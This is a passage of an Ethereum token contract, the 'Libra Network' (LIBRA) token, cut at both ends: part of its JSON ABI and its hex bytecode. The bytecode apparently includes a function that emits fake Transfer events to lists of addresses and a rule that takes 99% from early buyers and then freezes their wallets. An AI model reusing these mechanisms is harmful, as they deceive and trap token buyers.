name":"manageEarly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receiver","type":"address[]"},{"internalType":"bool","name":"received","type":"bool"},{"internalType":"uint256","name":"amountInWei","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"returnToStandardTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"sellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAMM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devAddress","type":"address"}],"name":"setDevAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_operationsAddress","type":"address"}],"name":"setOpsAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"transferToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526a52b7d2dcc80cd2e400000060065560006013556017805463ffffffff191663010000011790553480156200003857600080fd5b50604051620043cc380380620043cc8339810160408190526200005b9162000612565b806040518060400160405280600d81526020016c4c69627261204e6574776f726b60981b815250604051806040016040528060058152602001644c4942524160d81b8152508160049081620000b19190620006e9565b506005620000c08282620006e9565b5050600980546001600160a01b0319166001600160a01b03841617905550620000f0620000ea3390565b620002df565b50600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600060268190553391906200012d600990565b6200013a90600a620008c8565b6200014a906305f5e100620008d9565b905060646200015b826001620008d9565b620001679190620008f3565b600b55606462000179826001620008d9565b620001859190620008f3565b600c55606462000197826001620008d9565b620001a39190620008f3565b600d55612710620001b6826005620008d9565b620001c29190620008f3565b60105560006019819055601a819055601b819055601c81905580620001e8818062000916565b620001f4919062000916565b62000200919062000916565b6018556000601e819055601f819055602081905560218190558062000226818062000916565b62000232919062000916565b6200023e919062000916565b601d556200024e83600162000331565b6200025b30600162000331565b6200026a61dead600162000331565b6200027783600162000394565b6200028430600162000394565b6200029361dead600162000394565b601180546001600160a01b0385166001600160a01b03199182168117909255601280549091169091179055620002ca8382620003fd565b620002d583620004e6565b505050506200092c565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260296020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6200039e62000565565b6001600160a01b038216600081815260276020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620004595760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600360008282546200046d919062000916565b90915550506001600160a01b038216600090815260208190526040812080548392906200049c90849062000916565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b620004f062000565565b6001600160a01b038116620005575760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162000450565b6200056281620002df565b50565b3362000570620005ca565b6001600160a01b031614620005c85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000450565b565b600080620005d7620005dd565b92915050565b6008546000906001600160a01b0316156200060257506008546001600160a01b031690565b506009546001600160a01b031690565b6000602082840312156200062557600080fd5b81516001600160a01b03811681146200063d57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200066f57607f821691505b6020821081036200069057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006e457600081815260208120601f850160051c81016020861015620006bf5750805b601f850160051c820191505b81811015620006e057828155600101620006cb565b5050505b505050565b81516001600160401b0381111562000705576200070562000644565b6200071d816200071684546200065a565b8462000696565b602080601f8311600181146200075557600084156200073c5750858301515b600019600386901b1c1916600185901b178555620006e0565b600085815260208120601f198616915b82811015620007865788860151825594840194600190910190840162000765565b5085821015620007a55787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200080c578160001904821115620007f057620007f0620007b5565b80851615620007fe57918102915b93841c9390800290620007d0565b509250929050565b6000826200082557506001620005d7565b816200083457506000620005d7565b81600181146200084d5760028114620008585762000878565b6001915050620005d7565b60ff8411156200086c576200086c620007b5565b50506001821b620005d7565b5060208310610133831016604e8410600b84101617156200089d575081810a620005d7565b620008a98383620007cb565b8060001904821115620008c057620008c0620007b5565b029392505050565b60006200063d60ff84168362000814565b8082028115828204841417620005d757620005d7620007b5565b6000826200091157634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620005d757620005d7620007b5565b613a90806200093c6000396000f3fe6080604052600436106104145760003560e01c8063715018a61161021e578063c024666811610123578063e7ad9fcd116100ab578063f2fde38b1161007a578063f2fde38b14610bee578063f5648a4f14610c0e578063f637434214610c23578063f8b45b0514610c39578063fb002c9714610c4f57600080fd5b8063e7ad9fcd14610b8d578063e884f26014610bad578063ee40166e14610bc2578063f11a24d314610bd857600080fd5b8063d257786b116100f2578063d257786b14610ae5578063d85ba06314610b05578063dd62ed3e14610b1b578063e2f4560514610b61578063e71dc3f514610b7757600080fd5b8063c024666814610a64578063c2b7bbb614610a84578063c876d0b914610aa4578063d0d41fe114610ac557600080fd5b8063a457c2d7116101a6578063adb873bd11610175578063adb873bd146109c9578063b62496f5146109df578063b8eb354614610a0f578063b94279ea14610a25578063bbc0c74214610a4557600080fd5b8063a457c2d714610953578063a62068ce14610973578063a9059cbb14610989578063a9d3cd8a146109a957600080fd5b80639164f9db116101ed5780639164f9db146108dc57806395d89b41146108fc5780639c3b4fdc146109115780639fccce3214610927578063a0d82dc51461093d57600080fd5b8063715018a614610864578063751039fc1461087957806385ecfd281461088e5780638da5cb5b146108be57600080fd5b806342966c681161032457806358a6d531116102ac5780636b0a894c1161027b5780636b0a894c146107c25780636ddd1713146107d8578063707789c5146107f857806370a082311461081857806370db69d61461084e57600080fd5b806358a6d531146107465780635a139dd41461075d5780635f641758146107735780636a486a8e146107ac57600080fd5b806348ae238f116102f357806348ae238f146106c15780634a62bb65146106e15780634f77f6c0146106fb57806351f205e414610711578063588813041461072657600080fd5b806342966c681461064b578063452ed4f11461066b57806346cafe521461068b57806346f1f5de146106a157600080fd5b80631d777856116103a757806326ededb81161037657806326ededb8146105ba5780632e509103146105da5780632e6ed7ef146105ef578063313ce5671461060f578063395093511461062b57600080fd5b80631d7778561461054f5780631e146da81461056557806323b872dd1461057a578063249ec2bb1461059a57600080fd5b806310d5de53116103e357806310d5de53146104ca57806318160ddd146104fa5780631a8145bb146105195780631c499ab01461052f57600080fd5b806306fdde03146104205780630758d9241461044b578063095ea7b3146104835780630f054c06146104b357600080fd5b3661041b57005b600080fd5b34801561042c57600080fd5b50610435610c65565b6040516104429190613475565b60405180910390f35b34801561045757600080fd5b50600e5461046b906001600160a01b031681565b6040516001600160a01b039091168152602001610442565b34801561048f57600080fd5b506104a361049e3660046134e8565b610cf7565b6040519015158152602001610442565b3480156104bf57600080fd5b506104c8610d0e565b005b3480156104d657600080fd5b506104a36104e5366004613514565b60296020526000908152604090205460ff1681565b34801561050657600080fd5b506003545b604051908152602001610442565b34801561052557600080fd5b5061050b60235481565b34801561053b57600080fd5b506104c861054a366004613538565b610e3d565b34801561055b57600080fd5b5061050b60255481565b34801561057157600080fd5b506104c8610f23565b34801561058657600080fd5b506104a3610595366004613551565b610fda565b3480156105a657600080fd5b506104c86105b53660046135ab565b61109d565b3480156105c657600080fd5b506104c86105d53660046135e4565b611143565b3480156105e657600080fd5b506104c86111db565b3480156105fb57600080fd5b506104c861060a36600461365f565b6112a1565b34801561061b57600080fd5b5060405160098152602001610442565b34801561063757600080fd5b506104a36106463660046134e8565b611302565b34801561065757600080fd5b506104c8610666366004613538565b61133e565b34801561067757600080fd5b50600f5461046b906001600160a01b031681565b34801561069757600080fd5b5061050b60265481565b3480156106ad57600080fd5b506104c86106bc366004613538565b611353565b3480156106cd57600080fd5b506104a36106dc366004613691565b61147c565b3480156106ed57600080fd5b506017546104a39060ff1681565b34801561070757600080fd5b5061050b601e5481565b34801561071d57600080fd5b506104c8611662565b34801561073257600080fd5b506104c8610741366004613538565b611750565b34801561075257600080fd5b5060145443106104a3565b34801561076957600080fd5b5061050b60195481565b34801561077f57600080fd5b506104a361078e366004613514565b6001600160a01b031660009081526028602052604090205460ff1690565b3480156107b857600080fd5b5061050b601d5481565b3480156107ce57600080fd5b5061050b60165481565b3480156107e457600080fd5b506017546104a39062010000900460ff1681565b34801561080457600080fd5b506104c8610813366004613514565b61182c565b34801561082457600080fd5b5061050b610833366004613514565b6001600160a01b031660009081526020819052604090205490565b34801561085a57600080fd5b5061050b600b5481565b34801561087057600080fd5b506104c86118bb565b34801561088557600080fd5b506104c86118cd565b34801561089a57600080fd5b506104a36108a9366004613514565b60156020526000908152604090205460ff1681565b3480156108ca57600080fd5b506008546001600160a01b031661046b565b3480156108e857600080fd5b506104c86108f7366004613538565b61190d565b34801561090857600080fd5b506104356119ea565b34801561091d57600080fd5b5061050b601b5481565b34801561093357600080fd5b5061050b60245481565b34801561094957600080fd5b5061050b60205481565b34801561095f57600080fd5b506104a361096e3660046134e8565b6119f9565b34801561097f57600080fd5b5061050b60145481565b34801561099557600080fd5b506104a36109a43660046134e8565b611a92565b3480156109b557600080fd5b506104c86109c43660046135ab565b611ab5565b3480156109d557600080fd5b5061050b60215481565b3480156109eb57600080fd5b506104a36109fa366004613514565b602a6020526000908152604090205460ff1681565b348015610a1b57600080fd5b5061050b600c5481565b348015610a3157600080fd5b506104c8610a403660046135ab565b611b61565b348015610a5157600080fd5b506017546104a390610100900460ff1681565b348015610a7057600080fd5b506104c8610a7f3660046135ab565b611b94565b348015610a9057600080fd5b506104c8610a9f366004613514565b611bfb565b348015610ab057600080fd5b506017546104a3906301000000900460ff1681565b348015610ad157600080fd5b506104c8610ae0366004613514565b611c25565b348015610af157600080fd5b506104c8610b003660046136d5565b611ca5565b348015610b1157600080fd5b5061050b60185481565b348015610b2757600080fd5b5061050b610b36366004613691565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b6d57600080fd5b5061050b60105481565b348015610b8357600080fd5b5061050b601c5481565b348015610b9957600080fd5b506104c8610ba836600461365f565b611e6f565b348015610bb957600080fd5b506104c8611f00565b348015610bce57600080fd5b5061050b60135481565b348015610be457600080fd5b5061050b601a5481565b348015610bfa57600080fd5b506104c8610c09366004613514565b611f17565b348015610c1a57600080fd5b506104c8611f8d565b348015610c2f57600080fd5b5061050b601f5481565b348015610c4557600080fd5b5061050b600d5481565b348015610c5b57600080fd5b5061050b60225481565b606060048054610c74906137b5565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca0906137b5565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b5050505050905090565b6000610d04338484611fd7565b5060015b92915050565b610d166120fc565b6040516370a0823160e01b815230600482018190529060009082906370a0823190602401602060405180830381865afa158015610d57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7b91906137ef565b905060008111610dc75760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610e14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e389190613808565b505050565b610e456120fc565b633b9aca006103e8610e5660035490565b610e6190600361383b565b610e6b9190613852565b610e759190613852565b811015610ed95760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610dbe565b610ee781633b9aca0061383b565b600d8190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc906020015b60405180910390a150565b610f2b6120fc565b601754610100900460ff1615610f835760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610dbe565b6017805462ffffff191662010100179055436013819055602654610fa691613874565b6014556006546007556040517fba61a96074b3d636edeee92caddc86293c917d5b6818b7d3698bb52e02ec86c890600090a1565b6001600160a01b038316600090815260026020526040812043905561100084848461215b565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156110855760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610dbe565b6110928533858403611fd7565b506001949350505050565b6110a56120fc565b8061111857600f546001600160a01b03908116908316036111185760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610dbe565b6001600160a01b03919091166000908152602960205260409020805460ff1916911515919091179055565b61114b6120fc565b60005b828110156111d55783838281811061116857611168613887565b905060200201602081019061117d9190613514565b600f546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806111cd8161389d565b91505061114e565b50505050565b6111e36120fc565b6014601e8190556000601f81905560208190556021819055908190611209908290613874565b6112139190613874565b61121d9190613874565b601d819055601410156112425760405162461bcd60e51b8152600401610dbe906138b6565b60198080556000601a819055601b819055601c819055908190611266908290613874565b6112709190613874565b61127a9190613874565b60188190556014101561129f5760405162461bcd60e51b8152600401610dbe906138b6565b565b6112a96120fc565b6019849055601a839055601b829055601c81905580826112c98587613874565b6112d39190613874565b6112dd9190613874565b6018819055601410156111d55760405162461bcd60e51b8152600401610dbe906138b6565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d04918590611339908690613874565b611fd7565b6113466120fc565b6113503382612c8c565b50565b61135b6120fc565b620186a061136860035490565b61137390600161383b565b61137d9190613852565b8110156113ea5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610dbe565b6103e86113f660035490565b61140190600161383b565b61140b9190613852565b8111156114775760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610dbe565b601055565b60006114866120fc565b6001600160a01b0383166114dc5760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610dbe565b306001600160a01b038416036115345760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e73000000006044820152606401610dbe565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa15801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f91906137ef565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303816000875af11580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613808565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b61166a6120fc565b6010543060009081526020819052604090205410156116f3576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610dbe565b600f805460ff60a01b1916600160a01b17905561170e612ddf565b600f805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b6117586120fc565b633b9aca006103e861176960035490565b61177490600261383b565b61177e9190613852565b6117889190613852565b8110156117e95760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610dbe565b6117f781633b9aca0061383b565b600b8190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de4100990602001610f18565b6118346120fc565b6001600160a01b0381166118995760405162461bcd60e51b815260206004820152602660248201527f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60448201526507420626520360d41b6064820152608401610dbe565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6118c36120fc565b61129f6000612fd2565b6118d56120fc565b6017805463ff000000191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6119156120fc565b633b9aca006103e861192660035490565b61193190600261383b565b61193b9190613852565b6119459190613852565b8110156119a75760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610dbe565b6119b581633b9aca0061383b565b600c8190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610f18565b606060058054610c74906137b5565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015611a7b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610dbe565b611a883385858403611fd7565b5060019392505050565b336000908152600260205260408120439055610d04611aae3390565b848461215b565b611abd6120fc565b600f546001600160a01b0390811690831603611b1b5760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f7665640000000000006044820152606401610dbe565b611b258282613024565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b611b696120fc565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b611b9c6120fc565b6001600160a01b038216600081815260276020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b611c036120fc565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b611c2d6120fc565b6001600160a01b038116611c835760405162461bcd60e51b815260206004820152601f60248201527f5f6465764164647265737320616464726573732063616e6e6f742062652030006044820152606401610dbe565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b611cad6120fc565b81158015611cbb5750600081115b15611e65576040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015611d2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d4e91906138ed565b81600081518110611d6157611d61613887565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611d9557611d95613887565b6001600160a01b039283166020918202929092010152600e54855191169063b6f9de95908490600090859089908390611dd057611dd0613887565b6020026020010151426040518663ffffffff1660e01b8152600401611df8949392919061394e565b6000604051808303818588803b158015611e1157600080fd5b505af1158015611e25573d6000803e3d6000fd5b50505050507fa017c1567cfcdd2d750a8c01e39fe2a846bcebc293c7d078477014d68482056882604051611e5b91815260200190565b60405180910390a1505b610e388284613052565b611e776120fc565b601e849055601f839055602082905560218190558082611e978587613874565b611ea19190613874565b611eab9190613874565b601d819055601910156111d55760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610dbe565b611f086120fc565b6017805463ff00000019169055565b611f1f6120fc565b6001600160a01b038116611f845760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dbe565b61135081612fd2565b611f956120fc565b604051600090339047908381818185875af1925050503d80600081146111d5576040519150601f19603f3d011682016040523d82523d6000602084013e6111d5565b6001600160a01b0383166120395760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610dbe565b6001600160a01b03821661209a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610dbe565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b33612105613124565b6001600160a01b03161461129f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dbe565b6001600160a01b0383166121815760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b0382166121a75760405162461bcd60e51b8152600401610dbe906139c8565b600081116121f75760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610dbe565b601754610100900460ff1661228a576001600160a01b03831660009081526027602052604090205460ff168061224557506001600160a01b03821660009081526027602052604090205460ff165b61228a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610dbe565b6014541561235d576001600160a01b03831660009081526015602052604090205460ff1615806122c757506008546001600160a01b038381169116145b806122dc57506001600160a01b03821661dead145b61235d5760405162461bcd60e51b815260206004820152604660248201527f426f74732063616e6e6f74207472616e7366657220746f6b656e7320696e206f60448201527f72206f75742065786365707420746f206f776e6572206f722064656164206164606482015265323932b9b99760d11b608482015260a401610dbe565b6017546301000000900460ff16801561239357506001600160a01b03831660009081526028602052604090205460ff1615156001145b1561244b576008546001600160a01b038381169116148015906123c45750600f546001600160a01b03848116911614155b1561244b576123d4600343613a0b565b6001600160a01b0384166000908152600260205260409020541061244b5760405162461bcd60e51b815260206004820152602860248201527f5472616e736665722044656c617920656e61626c65642e20547279206167616960448201526737103630ba32b91760c11b6064820152608401610dbe565b60175460ff1615612753576008546001600160a01b0384811691161480159061248257506008546001600160a01b03838116911614155b801561249657506001600160a01b03821615155b80156124ad57506001600160a01b03821661dead14155b80156124d257506001600160a01b03831660009081526027602052604090205460ff16155b80156124f757506001600160a01b03821660009081526027602052604090205460ff16155b15612753576001600160a01b0383166000908152602a602052604090205460ff16801561253d57506001600160a01b03821660009081526029602052604090205460ff16155b1561261957600b548111156125a55760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610dbe565b600d546001600160a01b0383166000908152602081905260409020546125cb9083613874565b11156126145760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b612753565b6001600160a01b0382166000908152602a602052604090205460ff16801561265a57506001600160a01b03831660009081526029602052604090205460ff16155b156126c457600c548111156126145760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610dbe565b6001600160a01b03821660009081526029602052604090205460ff1661275357600d546001600160a01b03831660009081526020819052604090205461270a9083613874565b11156127535760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b306000908152602081905260409020546010548110801590819061277f575060175462010000900460ff165b80156127955750600f54600160a01b900460ff16155b80156127ba57506001600160a01b0385166000908152602a602052604090205460ff16155b80156127df57506001600160a01b03851660009081526027602052604090205460ff16155b801561280457506001600160a01b03841660009081526027602052604090205460ff16155b1561283257600f805460ff60a01b1916600160a01b179055612824612ddf565b600f805460ff60a01b191690555b6001600160a01b03851660009081526027602052604090205460019060ff168061287457506001600160a01b03851660009081526027602052604090205460ff165b1561287d575060005b60008115612c7857601454431080156128ae57506001600160a01b0387166000908152602a602052604090205460ff165b80156128d357506001600160a01b0386166000908152602a602052604090205460ff16155b80156128e157506000601854115b15612a61576001600160a01b03861660009081526015602052604090205460ff16612981576001600160a01b0386166000908152601560205260408120805460ff19166001908117909155601680549192909161293f908490613874565b90915550506040516001600160a01b03871681527f55678e47d0a699d3ab99b0184c4ff14f2246ba80522deb921aa0c8823578c44a9060200160405180910390a15b606461298e86606361383b565b6129989190613852565b9050601854601a54826129ab919061383b565b6129b59190613852565b602360008282546129c69190613874565b90915550506018546019546129db908361383b565b6129e59190613852565b602260008282546129f69190613874565b9091555050601854601b54612a0b908361383b565b612a159190613852565b60246000828254612a269190613874565b9091555050601854601c54612a3b908361383b565b612a459190613852565b60256000828254612a569190613874565b90915550612c5a9050565b6001600160a01b0386166000908152602a602052604090205460ff168015612a8b57506000601d54115b15612b4d576064601d5486612aa0919061383b565b612aaa9190613852565b9050601d54601f548